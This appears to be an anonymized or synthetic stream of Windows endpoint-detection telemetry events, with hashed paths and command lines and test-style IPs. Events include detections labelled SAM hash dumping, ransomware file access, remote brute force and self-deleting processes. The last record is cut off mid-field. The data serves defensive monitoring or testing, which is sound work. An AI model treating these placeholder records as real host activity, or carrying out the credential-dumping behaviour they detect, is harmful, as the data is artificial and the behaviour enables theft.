-{"ContextBaseFileName":"481bc1a027f891f9b","Options":"66717670","ContextThreadId":"270140900130850060","MinorFunction":"0","aip":"89.160.20.128","Information":"3","FileIdentifier":"3983fc13457464a741b39fba5bb2260604ddb049477359f2","event_platform":"Win","ShareAccess":"1","EventOrigin":"1","id":"182d52dbecaca7970cb63c42addda760f512","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewScriptWritten","ContextTimeStamp":"1756143143.835","ConfigStateHash":"8200073020","ContextProcessId":"211820800920708240","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5060417","Entitlements":"66","name":"af0673bdd782d244e9c","OperationFlags":"0","aid":"d6c18cb814c9100d81bedd3b4290407f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\481f1be1.config"}
-{"FileOperatorSid":"S-72386-31002-81578-35580-81320-88994-11078","ContextBaseFileName":"7592a3326e8f","FileCategory":"2","Size":"70097","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\237ca1ff\\9f8125ec","id":"50b4564705009d4d899b257c4f60806debaf","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OleFileWritten","ContextTimeStamp":"1754452910.026","ConfigStateHash":"9080600092","ContextProcessId":"3609070495594","IrpFlags":"0","AuthenticationId":"10050074","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"52f49e17cbb3258ec","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa\\5fcb82a8.automaticDestinations-ms"}
-{"FileOperatorSid":"S-14916-87933-54904-21020-22768-89969-67859","ContextBaseFileName":"f8d3910f48a","FileCategory":"2","Size":"4008","ContextThreadId":"406830433040004","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\4db87fa6\\901bda80","id":"fa7433e86a344c7c471c159189a5d9e46b61","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1757793265.081","ConfigStateHash":"205997984","ContextProcessId":"3902807870001","IrpFlags":"0","AuthenticationId":"1046050","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"2486640","Entitlements":"16","name":"7233ba49d5aea975e9d","OperationFlags":"0","aid":"4274e60578e437f258cd288fc421c898","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93\\697ee9b1.thmx"}
-{"event_simpleName":"PackedExecutableWritten","ConfigStateHash":"50820000","ContextProcessId":"600400303060","aip":"216.160.83.56","FileSubType":"1","SHA256HashData":"73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"66","name":"e1363774d0bedd151e540a3f0","EventOrigin":"1","id":"46fbd2ea624c1d37a02f228b5e07a641ba5d","EffectiveTransmissionClass":"3","aid":"827afde25ba0eeda5d204a68ff612048","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612\\47776.dll"}
-{"FileOperatorSid":"S-67387-98466-95492-13435-71780-89109-76365","ContextBaseFileName":"8bccb383613c62792a","FileCategory":"2","Size":"90700","ContextThreadId":"599818020897405","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\3fcf5e12","id":"e3b7d2a5cd6687e005e8d8440762de1a5cba","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PdfFileWritten","ContextTimeStamp":"1749743187.245","ConfigStateHash":"3000500100","ContextProcessId":"90797090022909","IrpFlags":"0","AuthenticationId":"107430","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"0ae43bcd866d0651b","OperationFlags":"0","aid":"972c7871709024649af8a061337fe15f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31\\dee65f00.pdf"}
-{"FileOperatorSid":"S-75678-67909-19006","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"6","Size":"36724","ModuleCharacteristics":"800","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073","event_platform":"Win","TokenType":"1","ImageCheckSum":"0","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","ImageSubsystem":"2","id":"d5f767539bfcb8d8aede98bf95736a049e78","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PeFileWritten","ContextTimeStamp":"1752518074.515","UserName":"a7d64dd9c23669","ConfigStateHash":"90089570","IsTransactedFile":"0","ContextProcessId":"3097482600003","IrpFlags":"0","ImageEntryPoint":"4040","SHA256HashData":"897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0","AuthenticationId":"830","ContextImageFileName":"\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DllCharacteristics":"0","IsOnRemovableDisk":"0","ImageTimeStamp":"2526530060","Entitlements":"16","name":"5f323af958b5a344","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\85ba88.exe"}
-{"event_simpleName":"PeVersionInfo","ConfigStateHash":"30820000","aip":"89.160.20.112","SHA256HashData":"ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78","ConfigBuild":"2c8b.4.ae3729d.e6","VersionInfo":"67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937","CompanyName":"48fd8e96569f1cb4","FixedFileVersion":"81.2.69.142","event_platform":"Win","OriginalFilename":"71f2cbc28fc61e5b304e","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\c71dcff2\\150824cf.0_x64__v10z8vjag6ke6\\b9035\\48fd8e96.exe","FileVersion":"81.2.69.192","Entitlements":"16","name":"510aa45e1032311","EventOrigin":"45","id":"51fdaf250bbe8ba7a3d2f76e5160dbcf2719","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","LanguageId":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextThreadId":"266500049070090","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"PrivilegedProcessHandleFromUnsignedModule","ContextTimeStamp":"1751718895.992","ConfigStateHash":"3440491101","ContextProcessId":"8080063970217","SHA256HashData":"dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5","ExtendedKeyUsages":"1","FileSigningTime":"1601400887.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"3542590006570","DesiredAccess":"5900","ImageFileName":"\\6ba0bd\\a37a4d54\\9134161b\\1fcd147a\\c3356034\\158.exe","Entitlements":"86","name":"891d960d630f07080d2bbd00503c6ca04d9007b20af","aid":"6b6c287c6e8ce2041ce47a740e621689","SignInfoFlags":"932000","Object1Type":"81030550010000800400","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""}
-{"event_simpleName":"ProcessExecOnPackedExecutable","ConfigStateHash":"550603001","ContextProcessId":"2492243565020","aip":"89.160.20.112","FileSubType":"4","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"1080047380010","Entitlements":"96","name":"deb18e9d761c09c713b0634dc553304","EventOrigin":"1","id":"17ef479f49727073c1afd6d8d3ede95a561e","EffectiveTransmissionClass":"3","aid":"2aff58e38d0a0bf09e91cfee7bcb819e","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ProcessExecOnSMBFile","UserName":"601f56394305","ConfigStateHash":"3030480009","ContextProcessId":"2002000091665","aip":"89.160.20.112","LogonDomain":"6e","AuthenticationId":"30409004030","UserPrincipal":"testuser@test.com","UserSid":"S-70019-66419-130-71535-26067-98292-95578","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PatternId":"459","ClientComputerName":"1a241b813c0288","Entitlements":"36","name":"8f744680ad930347c854bf","EventOrigin":"1","id":"0b8735c9a332451c9040cce79b716849ed11","EffectiveTransmissionClass":"3","aid":"b956f48020b41a099bfc062444b8ea38","RemoteAddressIP4":"81.2.69.144","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ProcessCreateFlags":"4","IntegrityLevel":"90902","ParentProcessId":"3000051703140","SourceProcessId":"8000051703140","aip":"81.2.69.142","SHA1HashData":"9692067083780606753097782045800757094700","UserSid":"S-62374-88856-1334","event_platform":"Win","TokenType":"1","ProcessEndTime":"","AuthenticodeHashData":"98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4","ParentBaseFileName":"bce7ccba7d55464cc50","EventOrigin":"1","ImageSubsystem":"2","id":"36f0bb29be278fc8322806730ffa12e53207","EffectiveTransmissionClass":"3","SessionId":"0","Tags":"982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2","timestamp":"1743508799999","event_simpleName":"ProcessRollup2","RawProcessId":"10603","ConfigStateHash":"710307050","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331","ProcessSxsFlags":"26","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","WindowFlags":"274","CommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5","ParentAuthenticationId":"830","TargetProcessId":"8200110794047","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","SourceThreadId":"400901163020000","Entitlements":"46","name":"f9ba95e9061aae4be","ProcessStartTime":"1745988595.443","ProcessParameterFlags":"41103","aid":"40b756af7c1d76ef66cb380d94090915","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"ProcessSelfDeleted","ContextTimeStamp":"1748026781.961","ConfigStateHash":"5080600092","ContextProcessId":"8008070284808","SourceProcessId":"8020239020790","aip":"81.2.69.144","SHA256HashData":"0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"5100718000400","ImageFileName":"\\6ba0bd\\447b992c\\6b0cc\\08ddb9f6\\0f51ad6\\8c31e\\d62f\\e\\ff53b0\\2b6\\38227bb0.exe","Entitlements":"16","name":"1a4daccccece9ef5ba96","EventOrigin":"1","id":"37ea1966fb73e596eaceeeda74969e0cf6fe","EffectiveTransmissionClass":"2","aid":"4a13114d95ed726004929f3de3863e97","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"RansomwareFileAccessPattern","ConfigStateHash":"7800020060","ContextProcessId":"1005300580270","SourceFileName":"\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f\\be379a3.rtf","aip":"89.160.20.112","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","PatternId":"684","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","Entitlements":"36","name":"678e528c681bbe14db4667945d920","EventOrigin":"1","ClientId":"81","id":"791f3434f4eb1f2494635bfa6c51a2855d12","EffectiveTransmissionClass":"3","aid":"ce205ce972e1ec0b34c552d96f46397a","Tags":"18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\76648b42\\d598026\\c7bac469.NET\\c70281ee\\aca7.30319\\4820dd5a.sql"}
-{"Options":"90328446","ContextThreadId":"344002022970675","MinorFunction":"0","aip":"89.160.20.112","BoundingLimitCount":"1","Information":"1","FileIdentifier":"4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612","event_platform":"Win","ShareAccess":"7","EventOrigin":"1","id":"13e038874f0490733a5191031434b8657382","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"RansomwareOpenFile","ContextTimeStamp":"1751029020.082","ConfigStateHash":"9250777000","ContextProcessId":"7701685113510","IrpFlags":"2500","ConfigBuild":"2c8b.4.bab7095.e6","MajorFunction":"0","DesiredAccess":"5750008","BoundingLimitDuration":"5486640","Entitlements":"26","name":"4c8f7117e5d227bf9ddc","OperationFlags":"0","aid":"ea08505420aa828a0a52a6eed3c8a196","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"}
-{"ContextThreadId":"98420079085202","aip":"89.160.20.112","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a","RegClassificationFlags":"454","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"2e723341d059eefec4c8ff3c9062764c68e3","EffectiveTransmissionClass":"3","RegStringValue":"1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\c54e80.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\7d32a173.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\15288c.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\4ad95b3.dll\u0000*1\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\18f\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\20f7e2\\4\\bc742c1d.dll\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\25c3c8.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\de6d4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a010c85.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\0c2f6a2.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b214b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\b522a4.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\b522a4.DLL\u0000*1","timestamp":"1743508799999","event_simpleName":"RegGenericValueUpdate","ContextTimeStamp":"1761698586.458","ConfigStateHash":"3440491101","ContextProcessId":"2090006508607","RegType":"7","RegClassificationIndex":"430","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"ee0bc2006c367f53b607da1122e","RegClassification":"806","Entitlements":"66","name":"0e92d5a77de501c1f1c9064","aid":"52cf03e6cbd930e0081ab561b4366e03","cid":"4092825518eaf67377a6e4492ae44577"}
-{"TemplateInstanceId":"10229","aip":"81.2.69.142","RegClassificationFlags":"1","RegObjectName":"\\85aaee17\\eb92252\\4f779032\\c7bac469\\d598026\\1f728162\\00d","RegOperationType":"2","event_platform":"Win","PatternId":"24871","EventOrigin":"1","id":"46ae86d862c2856f051da60792378c9a659e","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"RegistryOperationDetectInfo","ConfigStateHash":"6000088020","TemplateDisposition":"40","ContextProcessId":"209450604006","RegClassificationIndex":"3","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"d4ae4138ea91","CommandLine":"54d\\9134161b\\b169fe25\\d528e266.exe\"","RegClassification":"40","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\d528e266.exe","Entitlements":"86","name":"ac9954e67836781b8f5b89ec31d8d","aid":"8b6270fbf7dd1d35cb564438ccd92475","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ContextThreadId":"700420809200030","aip":"81.2.69.192","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\604dce44\\9d9abc6f\\e68b36b1\\336a62f8\\348c576d","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{e3b0c442-e3b0-e3b0-e3b0-e3b0c44298fc}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"RemoteBruteForceDetectInfo","UserName":"","ConfigStateHash":"6870020050","ContextProcessId":"25700434000","LogonType":"3","aip":"81.2.69.144","LogonDomain":"","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"82\\340d600\\4a6a0a4b\\4cdbc.exe","TotalCount":"4051","PatternId":"200","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\4cdbc.exe","Entitlements":"66","name":"35b635ba0a924203f13f0a9f8f7d","EventOrigin":"1","id":"2e41e2c0447e07249a69dbdc70a72aec40d4","EffectiveTransmissionClass":"3","aid":"a72936ae0acff156c05af8238b6a10eb","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"VolumeSessionUUID":"c8838ad8-1da8-43ae-8c85-3c2309eab164","ContextThreadId":"300005906805","aip":"81.2.69.192","VolumeMountPoint":"\\e2\\cf8397ea","VolumeDriveLetter":"4e","event_platform":"Win","VolumeDeviceObjectFlags":"0","VolumeFileSystemDevice":"\\ddc","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\6b634d3d\\7a5851b","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","VolumeDeviceCharacteristics":"100402","id":"5762ba1aab05fd80cadfb13f146bc3ce868c","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RemovableMediaVolumeMounted","VolumeName":"\\6ba0bd\\257d4e13","ContextTimeStamp":"1751260262.872","VolumeSectorSize":"940","ConfigStateHash":"8090285900","ContextProcessId":"655070024024","VolumeRealDeviceName":"\\6ba0bd\\257d4e13","ConfigBuild":"ad5.4.ae3729d.6","VolumeEncryptionStatus":"0","VolumeFileSystemType":"3","IsOnRemovableDisk":"1","Entitlements":"96","name":"b47570143699a945cde3e5764a9843","aid":"6d58dee7855f7a94dc887ec52805de46","cid":"4092825518eaf67377a6e4492ae44577"}
-{"FileOperatorSid":"S-49065-57943-32307","ContextBaseFileName":"6866e9cdd4c02","FileCategory":"2","Size":"507310","ContextThreadId":"1006000509974","MinorFunction":"0","aip":"216.160.83.56","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"f0649b7dd2265577af3c320a66e66b289fe7d98135c582d8","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\dc08d203\\6d4a9f57","id":"a6c319e36889013fd1a9cb1e28db73a2d47b","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"RtfFileWritten","ContextTimeStamp":"1756008851.353","UserName":"352ad1966","ConfigStateHash":"30820000","ContextProcessId":"600400303060","IrpFlags":"0","AuthenticationId":"830","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"8486640","Entitlements":"86","name":"e5968210c929a23b0","OperationFlags":"0","aid":"827afde25ba0eeda5d204a68ff612048","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\92391c8a.3007_none_7afbc84558a5a401\\f76eee64.rtf"}
-{"KeyObject":"70075630231265270000","ContextThreadId":"40890360000294","aip":"81.2.69.192","PublicKeys":"0","RegPostObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771\\7e1b0d5","RegKeyName":"","event_platform":"Win","EventOrigin":"1","id":"4cd0f3ad236f3d16670462b9d7b5bb5c129a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"SAMHashDumpFromUnsignedModule","ContextTimeStamp":"1757470178.153","ConfigStateHash":"770065302","ContextProcessId":"9083291189505","RegRootObjectName":"\\85aaee17\\eb92252\\be8\\be8\\ced6771","SHA256HashData":"6cab5215044a0ab69a528bc44775e8baa8594bb795fe2514a0ae18f29c8b61fe","ExtendedKeyUsages":"1","RegCreateDisposition":"2","FileSigningTime":"1653525170.000","ConfigBuild":"2c8b.4.ae3729d.e6","DesiredAccess":"106086","ImageFileName":"\\6ba0bd\\74d33d26\\9134161b\\a48be8\\45eb5659\\e5bb8b3e\\8eb4b.exe","Entitlements":"66","name":"cece108ee2dfd89f1ac8e4648ab61ed","RegCreateOptions":"0","aid":"1085124e43b788dc1142faa8282f3160","SignInfoFlags":"107067","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""}
-{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4004620865900","id":"6df4383ea32ec03f3e4d828c8771350c6861","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskDeleted","ContextTimeStamp":"1753865664.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"60255","ContextProcessId":"6804094900076","RpcClientThreadId":"724002090409000","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"bd3d6bea\\9af0ff\\29eab3a3","RpcOpNum":"30","Entitlements":"66","name":"4996adce55e68cf01c05c7","aid":"4b4df0f0e24c600fcc98e7444c1af658","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"aip":"81.2.69.192","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"3887070022276","id":"43b952c0225cd04c3a42b9e4b7264eecca9d","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskModified","ContextTimeStamp":"1747937437.152","UserName":"057bcb1d4","ConfigStateHash":"9080600092","InterfaceVersion":"80255","ContextProcessId":"9000002203869","RpcClientThreadId":"799160078000747","TaskXml":"4a199d96.com/windows/2004/02/mit/task\">\r\n <RegistrationInfo>\r\n <Author>FSSB0930$</Author>\r\n <URI>\\c7bac469\\d598026\\1f6f4b17\\7e6a0826","TaskAuthor":"057bcb1d4","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","TaskName":"c7bac469\\d598026\\1f6f4b17\\4e7075fa","RpcOpNum":"1","Entitlements":"26","name":"569b2099134ca0f589a09d0","TaskExecArguments":"/650a61d7","aid":"096a526846b73e64ffebbc72ded8f018","TaskExecCommand":"fa692415fa9d","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
-{"aip":"81.2.69.144","event_platform":"Win","TokenType":"1","EventOrigin":"45","InterfaceGuid":"a79958f42e575a8bdb46bf73321f8cf1b2c7","RpcClientProcessId":"4950486027003","id":"c7674af79959a3dacc5f7ca39360a5e76431","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"ScheduledTaskRegistered","ContextTimeStamp":"1755302168.498","UserName":"06a9f4e72","ConfigStateHash":"710307050","InterfaceVersion":"50255","ContextProcessId":"6804094900076","RpcClientThreadId":"900200906000878","TaskXml":"3398d363\\c7bac469\\9e380d\\96aef033\\9134161b\\42955da6\\3c5c8318\\27b5ee41\\deaf1acb.exe</Command>\r\n <Arguments>/checkin</Arguments>\r\n </Exec>\r\n 